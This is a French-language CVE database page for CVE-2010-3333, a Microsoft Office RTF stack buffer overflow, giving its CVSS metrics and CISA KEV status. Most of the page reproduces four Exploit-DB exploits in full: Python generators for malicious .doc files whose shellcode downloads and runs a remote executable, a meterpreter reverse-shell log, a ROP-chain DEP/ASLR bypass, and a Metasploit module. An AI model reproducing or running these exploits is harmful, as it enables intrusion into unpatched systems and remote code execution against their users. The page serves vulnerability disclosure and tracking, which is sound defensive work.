CVE-2010-3333 : Détail

CVE-2010-3333

7.8
/
Haute
Overflow
97.25%V3
Local
2010-11-10
01h00 +00:00
2025-02-10
16h54 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Stack-based buffer overflow in Microsoft Office XP SP3, Office 2003 SP3, Office 2007 SP2, Office 2010, Office 2004 and 2008 for Mac, Office for Mac 2011, and Open XML File Format Converter for Mac allows remote attackers to execute arbitrary code via crafted RTF data, aka "RTF Stack Buffer Overflow Vulnerability."

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-787 Out-of-bounds Write
The product writes data past the end, or before the beginning, of the intended buffer.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

[email protected]
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

CISA KEV (Vulnérabilités Exploitées Connues)

Nom de la vulnérabilité : Microsoft Office Stack-based Buffer Overflow Vulnerability

Action requise : Apply updates per vendor instructions.

Connu pour être utilisé dans des campagnes de ransomware : Unknown

Ajouter le : 2022-03-02 23h00 +00:00

Action attendue : 2022-03-23 23h00 +00:00

Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 18334

Date de publication : 2012-01-07 23h00 +00:00
Auteur : b33f & g11tch
EDB Vérifié : Yes

#!/usr/bin/python # # Note from the Exploit-DB team: This might be the same bug as: # https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/fileformat/ms10_087_rtf_pfragments_bof.rb # #-----------------------------------------------------------------------------------# # Exploit: Microsoft Office 2003 Home/Pro 0day - Tested on XP SP1,2.3 # # Authors: b33f (Ruben Boonen) && g11tch (Chris Hodges) # ##################################################################################### # One shellcode to rule them all, One shellcode to find them, One shellcode to # # bring them all and in the darkness bind them!! # # # # Greetings: offsec, corelan, setoolkit # ##################################################################################### # (1) root@bt:~/Desktop/office# ./office2003.py # # root@bt:~/Desktop/office# mv evil.doc /var/www/ # # # # (2) msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.111.132 LPORT=9988 X # # > /var/www/magic.exe # # # # (3) msf exploit(handler) > exploit # # # # [*] Started reverse handler on 192.168.111.132:9988 # # [*] Starting the payload handler... # # [*] Sending stage (752128 bytes) to 192.168.111.128 # # [*] Meterpreter session 1 opened (192.168.111.132:9988 -> 192.168.111.128:1073)# # at 2012-01-08 18:46:26 +0800 # # # # meterpreter > ipconfig # # # # MS TCP Loopback interface # # Hardware MAC: 00:00:00:00:00:00 # # IP Address : 127.0.0.1 # # Netmask : 255.0.0.0 # # # # AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport # # Hardware MAC: 00:0c:29:6c:92:42 # # IP Address : 192.168.111.128 # # Netmask : 255.255.255.0 # #-----------------------------------------------------------------------------------# import binascii filename = "evil.doc" #-----------------------------------------------------------------------------------# # File Structure # #-----------------------------------------------------------------------------------# file = ( "{\\rt##{\shp{\sp}}{\shp{\sp}}{\shp{\sp}}{\shp{\*\shpinst\shpfhdr0\shpbxcolumn\s" "hpbypara\sh pwr2}{\sp{\sn {}{}{\sn}{\sn}{\*\*}pFragments}{\*\*\*}{\sv{\*\*\*\*\*" "\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*}9;2;ffffffffff") #-----------------------------------------------------------------------------------# # Open raw socket to download payload to parent directory as "a.exe" # # ==> cmd execute "a.exe" # #-----------------------------------------------------------------------------------# magic = ( "\x65\x62\x37\x37\x33\x31\x63\x39\x36\x34\x38\x62\x37\x31\x33\x30" "\x38\x62\x37\x36\x30\x63\x38\x62\x37\x36\x31\x63\x38\x62\x35\x65" "\x30\x38\x38\x62\x37\x65\x32\x30\x38\x62\x33\x36\x36\x36\x33\x39" "\x34\x66\x31\x38\x37\x35\x66\x32\x63\x33\x36\x30\x38\x62\x36\x63" "\x32\x34\x32\x34\x38\x62\x34\x35\x33\x63\x38\x62\x35\x34\x30\x35" "\x37\x38\x30\x31\x65\x61\x38\x62\x34\x61\x31\x38\x38\x62\x35\x61" "\x32\x30\x30\x31\x65\x62\x65\x33\x33\x34\x34\x39\x38\x62\x33\x34" "\x38\x62\x30\x31\x65\x65\x33\x31\x66\x66\x33\x31\x63\x30\x66\x63" "\x61\x63\x38\x34\x63\x30\x37\x34\x30\x37\x63\x31\x63\x66\x30\x64" "\x30\x31\x63\x37\x65\x62\x66\x34\x33\x62\x37\x63\x32\x34\x32\x38" "\x37\x35\x65\x31\x38\x62\x35\x61\x32\x34\x30\x31\x65\x62\x36\x36" "\x38\x62\x30\x63\x34\x62\x38\x62\x35\x61\x31\x63\x30\x31\x65\x62" "\x38\x62\x30\x34\x38\x62\x30\x31\x65\x38\x38\x39\x34\x34\x32\x34" "\x31\x63\x36\x31\x63\x33\x65\x38\x39\x32\x66\x66\x66\x66\x66\x66" "\x35\x66\x38\x31\x65\x66\x39\x38\x66\x66\x66\x66\x66\x66\x65\x62" "\x30\x35\x65\x38\x65\x64\x66\x66\x66\x66\x66\x66\x36\x38\x38\x65" "\x34\x65\x30\x65\x65\x63\x35\x33\x65\x38\x39\x34\x66\x66\x66\x66" "\x66\x66\x33\x31\x63\x39\x36\x36\x62\x39\x36\x66\x36\x65\x35\x31" "\x36\x38\x37\x35\x37\x32\x36\x63\x36\x64\x35\x34\x66\x66\x64\x30" "\x36\x38\x33\x36\x31\x61\x32\x66\x37\x30\x35\x30\x65\x38\x37\x61" "\x66\x66\x66\x66\x66\x66\x33\x31\x63\x39\x35\x31\x35\x31\x38\x64" "\x33\x37\x38\x31\x63\x36\x65\x65\x66\x66\x66\x66\x66\x66\x38\x64" "\x35\x36\x30\x63\x35\x32\x35\x37\x35\x31\x66\x66\x64\x30\x36\x38" "\x39\x38\x66\x65\x38\x61\x30\x65\x35\x33\x65\x38\x35\x62\x66\x66" "\x66\x66\x66\x66\x34\x31\x35\x31\x35\x36\x66\x66\x64\x30\x36\x38" "\x37\x65\x64\x38\x65\x32\x37\x33\x35\x33\x65\x38\x34\x62\x66\x66" "\x66\x66\x66\x66\x66\x66\x64\x30\x36\x33\x36\x64\x36\x34\x32\x65" "\x36\x35\x37\x38\x36\x35\x32\x30\x32\x66\x36\x33\x32\x30\x32\x30" "\x36\x31\x32\x65\x36\x35\x37\x38\x36\x35\x30\x30") #------------------------------------------------------------------------------------------------------------------------------# # Two versions of office 2003 floating around: # # (1) Standalone version, (2) XP Service Pack upgrade # ################################################################################################################################ # Unfortunatly though the exploit works perfectly for both versions they require different pointers to ESP... # # # # (1) 0x30324366 - CALL ESP - WINWORD.exe => "\x36\x36\x34\x33\x33\x32\x33\x30" # # => http://download.microsoft.com/download/6/2/3/6233A257-16BD-4C8D-BF4C-6FA59AF9213A/OfficeSTD.exe # # # # (2) 0x30402655 - PUSH ESP -> RETN - WINWORD.exe => "\x35\x35\x32\x36\x34\x30\x33\x30" # # => http://download.microsoft.com/download/7/7/8/778493c2-ace3-44c5-8bc3-d102da80e0f6/Office2003SP3-KB923618-FullFile-ENU.exe # #------------------------------------------------------------------------------------------------------------------------------# EIP = "\x36\x36\x34\x33\x33\x32\x33\x30" #should ascii convert the Little Endian pointer filler = "\x30\x30\x30\x30\x38\x30\x37\x63"*2 + "\x41"*24 + "\x39\x30"*18 buffer = "\x23"*501 + "\x30\x35" + "\x30"*40 + EIP + filler + magic #-----------------------------------------------------------------------------------# # Since we are downloading our payload from a remote webserver there are no # # restrictions on payload size or badcharacters... # #-----------------------------------------------------------------------------------# URL = "http://192.168.111.132/magic.exe" binnu = binascii.b2a_hex(URL) URL2 = "00" nxt="{}}}}}}" nxt+="\x0d\x0a" nxt+="}" textfile = open(filename , 'w') textfile.write(file+buffer+binnu+URL2+nxt) textfile.close()
Exploit Database EDB-ID : 17474

Date de publication : 2011-07-02 22h00 +00:00
Auteur : Snake
EDB Vérifié : Yes

# Exploit Title: MS Office 2010 RTF Header Stack Overflow Vulnerability Exploit # Date: 7/3/2011 # Author: Snake ( Shahriyar.j < at > gmail ) # Version: MS Office <= 2010 # Tested on: MS Office 2010 ( 14.0.4734.1000) - Windows 7 # CVE : CVE-2010-3333 # This is the exploit I wrote for Abysssec "The Arashi" article. # It gracefully bypass DEP/ASLR in MS Office 2010, # and we named this method "Ikazuchi DEP/ASRL Bypass" : > # unfortunately msgr3en.dll loads a few seconds after opining office, # so just need to open open Office , and then open exploit after a few second and saw a nice calc. # # The Arashi : http://abysssec.com/files/The_Arashi.pdf # http://www.exploit-db.com/docs/17469.pdf # # me : twitter.com/ponez # aslo check here for Persian docs of this methods and more : # http://www.0days.ir/article/ # # and the Rop : 3F2CB9E0 POP ECX RETN # HeapCreate() IAT = 3F10115C 3F389CA5 MOV EAX,DWORD PTR DS:[ECX] RETN # EAX == HeapCreate() Address 3F39AFCF CALL EAX RETN # Call HeapCreate() and Create a Executable Heap :D # after this call, EAX contain our Heap Address. 0x3F2CB9E0 POP ECX RETN # pop 0x00008000 into ECX 0x3F39CB46 ADD EAX,ECX POP ESI RETN # add ECX to EAX and instead of calling HeapAlloc, # now EAX point to the RWX Heap :D 0x3F2CB9E0 POP ECX RETN # pop 0x3F3B3DC0 into ECX, it is a writable address. 0x3F2233CC MOV DWORD PTR DS:[ECX],EAX RETN # storing our RWX Heap Address into 0x3F3B3DC0 ( ECX ) for further use ;) 0x3F2D59DF POP EAX ADD DWORD PTR DS:[EAX],ESP RETN # pop 0x3F3B3DC4 into EAX , it is writable address with zero! # then we add ESP to the Zero which result in storing ESP into that address, # we need ESP address for copying shellcode ( which stores in Stack ), # and we have to get it dynamically at run-time, now with my tricky instruction, we have it! 0x3F2F18CC POP EAX RETN # pop 0x3F3B3DC4 ( ESP address ) into EAX 0x3F2B745E MOV ECX,DWORD PTR DS:[EAX] RETN # now ECX point to nearly offset of Stack. 0x3F39795E POP EDX RETN # pop 0x00000024 into EDX 0x3F39CB44 ADD ECX,EDX ADD EAX,ECX POP ESI RETN # add 0x24 to ECX ( Stack address ) 0x3F398267 MOV EAX,ECX RETN # EAX = ECX ; ) 0x3F3A16DE MOV DWORD PTR DS:[ECX],EAX XOR EAX,EAX POP ESI RETN # mov EAX ( Stack Address + 24 = Current ESP value ) into the current Stack Location, # and the popping it into ESI ! now ESI point where shellcode stores in stack :D 0x3F398267 MOV EAX,ECX RETN # EAX = ECX ; ) 3F2CB9E0 POP ECX RETN # pop 0x3F3B3DC0 ( Saved Heap address ) into ECX 0x3F389CA5 MOV EAX,DWORD PTR DS:[ECX] RETN # now EAX point to our RWX Heap 0x3F2B0A7C XCHG EAX,EDI RETN 4 # EDI = Our RWX Heap Address 3F2CB9E0 POP ECX RETN # pop 0x3F3B3DC0 ( Saved Heap address ) into ECX 0x3F389CA5 MOV EAX,DWORD PTR DS:[ECX] RETN # now EAX point to our RWX Heap 0x3F38BEFB ADD AL,58 RETN # just skip some junks ; ) 3F2CB9E0 POP ECX RETN # pop 0x00000080 into ECX ( 0x80 * 4 = 0x200 = Copy lent ) 3F3441B4 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] POP EDI POP ESI RETN # Copy shellcode from stack into RWX Heap 3F39AFCF CALL EAX RETN # KABOOM !!! Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17474.doc (cve-2011-3333_exploit.doc)
Exploit Database EDB-ID : 16686

Date de publication : 2011-03-03 23h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # $Id: ms10_087_rtf_pfragments_bof.rb 11875 2011-03-04 08:39:48Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)', 'Description' => %q{ This module exploits a stack-based buffer overflow in the handling of the 'pFragments' shape property within the Microsoft Word RTF parser. All versions of Microsoft Office 2010, 2007, 2003, and XP prior to the release of the MS10-087 bulletin are vulnerable. This module does not attempt to exploit the vulnerability via Microsoft Outlook. The Microsoft Word RTF parser was only used by default in versions of Microsoft Word itself prior to Office 2007. With the release of Office 2007, Microsoft began using the Word RTF parser, by default, to handle rich-text messages within Outlook as well. It was possible to configure Outlook 2003 and earlier to use the Microsoft Word engine too, but it was not a default setting. It appears as though Microsoft Office 2000 is not vulnerable. It is unlikely that Microsoft will confirm or deny this since Office 2000 has reached its support cycle end-of-life. }, 'License' => MSF_LICENSE, 'Author' => [ 'wushi of team509', # original discovery 'unknown', # exploit found in the wild 'jduck', # Metasploit module 'DJ Manila Ice, Vesh, CA' # more office 2007 for the lulz ], 'Version' => '$Revision: 11875 $', 'References' => [ [ 'CVE', '2010-3333' ], [ 'OSVDB', '69085' ], [ 'MSB', 'MS10-087' ], [ 'BID', '44652' ], [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=880' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 512, 'BadChars' => "\x00", 'DisableNops' => true # no need }, 'Platform' => 'win', 'Targets' => [ # This automatic target will combine all targets into one file :) [ 'Automatic', { } ], # Office v10.6854.6845, winword.exe v10.0.6854.0 [ 'Microsoft Office 2002 SP3 English on Windows XP SP3 English', { 'Offsets' => [ 23532, 45944 ], #'Ret' => 0x30002491 # p/p/r in winword.exe v10.0.6854.0 'Ret' => 0x30002309 # p/p/r in winword.exe v10.0.6866.0 } ], # Office v11.8307.8324, winword.exe v11.0.8307.0 # Office v11.8328.8221, winword.exe v11.0.8328.0 [ 'Microsoft Office 2003 SP3 English on Windows XP SP3 English', { 'Offsets' => [ 24580, 51156 ], 'Ret' => 0x30001bdd # p/p/r in winword.exe } ], # In order to exploit this bug on Office 2007, a SafeSEH bypass method is needed. # Office v12.0.6425.1000, winword.exe v12.0.6425.1000 [ 'Microsoft Office 2007 SP0 English on Windows XP SP3 English', { 'Offsets' => [ 5956 ], 'Ret' => 0x00290b0b # call ptr to ebp + 30, hits the next record } ], [ 'Microsoft Office 2007 SP0 English on Windows Vista SP0 English', { 'Offsets' => [ 5956 ], 'Ret' => 0x78812890 # p/p/r in msxml5.dll which wasn't opted into SafeSEH. say word. } ], [ 'Microsoft Office 2007 SP0 English on Windows 7 SP0 English', { 'Offsets' => [ 5956 ], 'Ret' => 0x78812890 # p/p/r in msxml5.dll which wasn't opted into SafeSEH. say word. } ], # crash on a deref path to heaven. [ 'Crash Target for Debugging', { 'Offsets' => [ 65535 ], 'Ret' => 0xdac0ffee } ] ], 'DisclosureDate' => 'Nov 09 2010', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.rtf']), ], self.class) end def add_target(rest, targ) targ['Offsets'].each { |off| seh = generate_seh_record(targ.ret) rest[off, seh.length] = seh distance = off + seh.length jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string rest[off + seh.length, jmp_back.length] = jmp_back } end def exploit # Prepare a sample SEH frame and backward jmp for length calculations seh = generate_seh_record(0xdeadbeef) jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-0xffff").encode_string # RTF property Array parameters el_size = sz_rand() el_count = sz_rand() data = '' # These words are presumably incorrectly used # assert(amount1 <= amount2) data << [0x1111].pack('v') * 2 data << [0xc8ac].pack('v') # Filler if target.name =~ /Debug/i rest = Rex::Text.pattern_create(0x10000 + seh.length + jmp_back.length) else len = 51200 + rand(1000) rest = rand_text(len + seh.length + jmp_back.length) rest[0, payload.encoded.length] = payload.encoded end # Stick fake SEH frames here and there ;) if target.name == "Automatic" targets.each { |t| next if t.name !~ /Windows/i add_target(rest, t) } else add_target(rest, target) end # Craft the array for the property value sploit = "%d;%d;" % [el_size, el_count] sploit << data.unpack('H*').first sploit << rest.unpack('H*').first # Assemble it all into a nice RTF content = "{\\rtf1" content << "{\\shp" # shape content << "{\\sp" # shape property content << "{\\sn pFragments}" # property name content << "{\\sv #{sploit}}" # property value content << "}" content << "}" content << "}" print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(content) end def sz_rand bad_sizes = [ 0, 2, 4, 8 ] x = rand(9) while bad_sizes.include? x x = rand(9) end x end end
Exploit Database EDB-ID : 24526

Date de publication : 2013-02-19 23h00 +00:00
Auteur : g11tch
EDB Vérifié : Yes

#!/usr/bin/python # Exploit Title: MS Office 2010 Download Execute # Google Dork: NA # Date: 19 Feb 2013 # Exploit Author: g11tch # Vendor Homepage: # Software Link: # Version: ALL # Tested on: [Windows XP SP1, SP2, Windows 7 ] # CVE : ########## #Just generate a meterpreter .exe, then provide the link to it via the exploit, it will automagically download and run said .exe import binascii import sys import time print "Microsoft Office 2010, download -N- execute " print " What do you want to name your .doc ? " print " Example: TotallyTrusted.doc " filename = raw_input() print " What is the link to your .exe ? " print "HINT!!:: Feed me a url. ie: http://super/eleet/payload.exe " url = raw_input() print "Gears and Cranks working mag1c in the background " time.sleep(3) close="{}}}}}" binme=binascii.b2a_hex(url) file=('e1xydGYxbnNpbnNpY3BnMTI1MlxkZWZmMFxkZWZsYW5nMTAzM3sNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb250dGJsew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN3aXNzDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGFyc2V0MCBBcmlhbDt9fXtcKlxnZW5lcmF0b3IgTXNmdGVkaXQgNS40MS4xNS4xNTA3O30NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlld2tpbmQ0XHVjMVxwYXJkDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHMyMCBwYXJkXGYwXGZzXHBhci90YWJccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhclxwYXJ7XHNocHtcc3B9fXtcc2hwe1xzcH19e1xzaHB7XHNwfX17XHNocHtcKlxzaHBpbnN0XHNocGZoZHIwXHNocGJ4Y29sdW1uXHNocGJ5cGFyYVxzaCBwd3IyfXtcc3B7XHNue317fXtcc259e1xzbn17XCpcKn1wRnJhZ21lbnRzfXtcKlwqXCp9e1wqXCpcc3Z7XCp9OTsyO2ZmZmZmZmZmZmYjMDUwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwZTBiOTJjM2ZBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBNWMxMTEwM2ZhNTljMzgzZmNmYWYzOTNmMTAwMTA0MDEwMTAxMDEwMTAxMDEwMTAxZTBiOTJjM2YwMDgwMDAwMDQ2Y2IzOTNmZGVhZGJlZWZlMGI5MmMzZmMwM2QzYjNmY2MzMzIyM2ZkZjU5MmQzZmM0M2QzYjNmY2MxODJmM2ZjNDNkM2IzZjVlNzQyYjNmNWU3OTM5M2YyNDAwMDAwMDQ0Y2IzOTNmc2x1dGZ1Y2s2NzgyMzkzZmRlMTYzYTNmNjc4MjM5M2ZlMGI5MmMzZmMwM2QzYjNmYTU5YzM4M2Y3YzBhMmIzZmUwYjkyYzNmNTU2Njc3ODhjMDNkM2IzZmE1OWMzODNmZmJiZTM4M2ZlMGI5MmMzZjgwMDAwMDAwYjQ0MTM0M2Y1NTU1NTU1NTY2NjY2NjY2Y2ZhZjM5M2Y0MTQxNDE0MTQxNDE0MTQxNDE0MTQxNDE0MTQxNDE0MTQxNDE0MTQxNDE0MTQxNDE0MTQxNDE0MTQxZWI3NzMxYzk2NDhiNzEzMDhiNzYwYzhiNzYxYzhiNWUwODhiN2UyMDhiMzY2NjM5NGYxODc1ZjJjMzYwOGI2YzI0MjQ4YjQ1M2M4YjU0MDU3ODAxZWE4YjRhMTg4YjVhMjAwMWViZTMzNDQ5OGIzNDhiMDFlZTMxZmYzMWMwZmNhYzg0YzA3NDA3YzFjZjBkMDFjN2ViZjQzYjdjMjQyODc1ZTE4YjVhMjQwMWViNjY4YjBjNGI4YjVhMWMwMWViOGIwNDhiMDFlODg5NDQyNDFjNjFjM2U4OTJmZmZmZmY1ZjgxZWY5OGZmZmZmZmViMDVlOGVkZmZmZmZmNjg4ZTRlMGVlYzUzZTg5NGZmZmZmZjMxYzk2NmI5NmY2ZTUxNjg3NTcyNmM2ZDU0ZmZkMDY4MzYxYTJmNzA1MGU4N2FmZmZmZmYzMWM5NTE1MThkMzc4MWM2ZWVmZmZmZmY4ZDU2MGM1MjU3NTFmZmQwNjg5OGZlOGEwZTUzZTg1YmZmZmZmZjQxNTE1NmZmZDA2ODdlZDhlMjczNTNlODRiZmZmZmZmZmZkMDYzNmQ2NDJlNjU3ODY1MjAyZjYzMjAyMDYxMmU2NTc4NjUwMA==\n') textfile = open(filename , 'w') textfile.write(file.decode('base64')+binme+close) textfile.close() time.sleep(3) print "enjoy"

Products Mentioned

Configuraton 0

Microsoft>>Office >> Version 2003

Microsoft>>Office >> Version 2004

Microsoft>>Office >> Version 2007

Microsoft>>Office >> Version 2008

Microsoft>>Office >> Version 2010

Microsoft>>Office >> Version 2011

    Microsoft>>Office >> Version xp

    Microsoft>>Open_xml_file_format_converter >> Version -

    Références

    http://www.securitytracker.com/id?1024705
    Tags : vdb-entry, x_refsource_SECTRACK
    http://securityreason.com/securityalert/8293
    Tags : third-party-advisory, x_refsource_SREASON
    http://secunia.com/advisories/42144
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://secunia.com/advisories/38521
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://www.vupen.com/english/advisories/2010/2923
    Tags : vdb-entry, x_refsource_VUPEN
    http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=880
    Tags : third-party-advisory, x_refsource_IDEFENSE
    http://www.us-cert.gov/cas/techalerts/TA10-313A.html
    Tags : third-party-advisory, x_refsource_CERT
    http://www.securityfocus.com/bid/44652
    Tags : vdb-entry, x_refsource_BID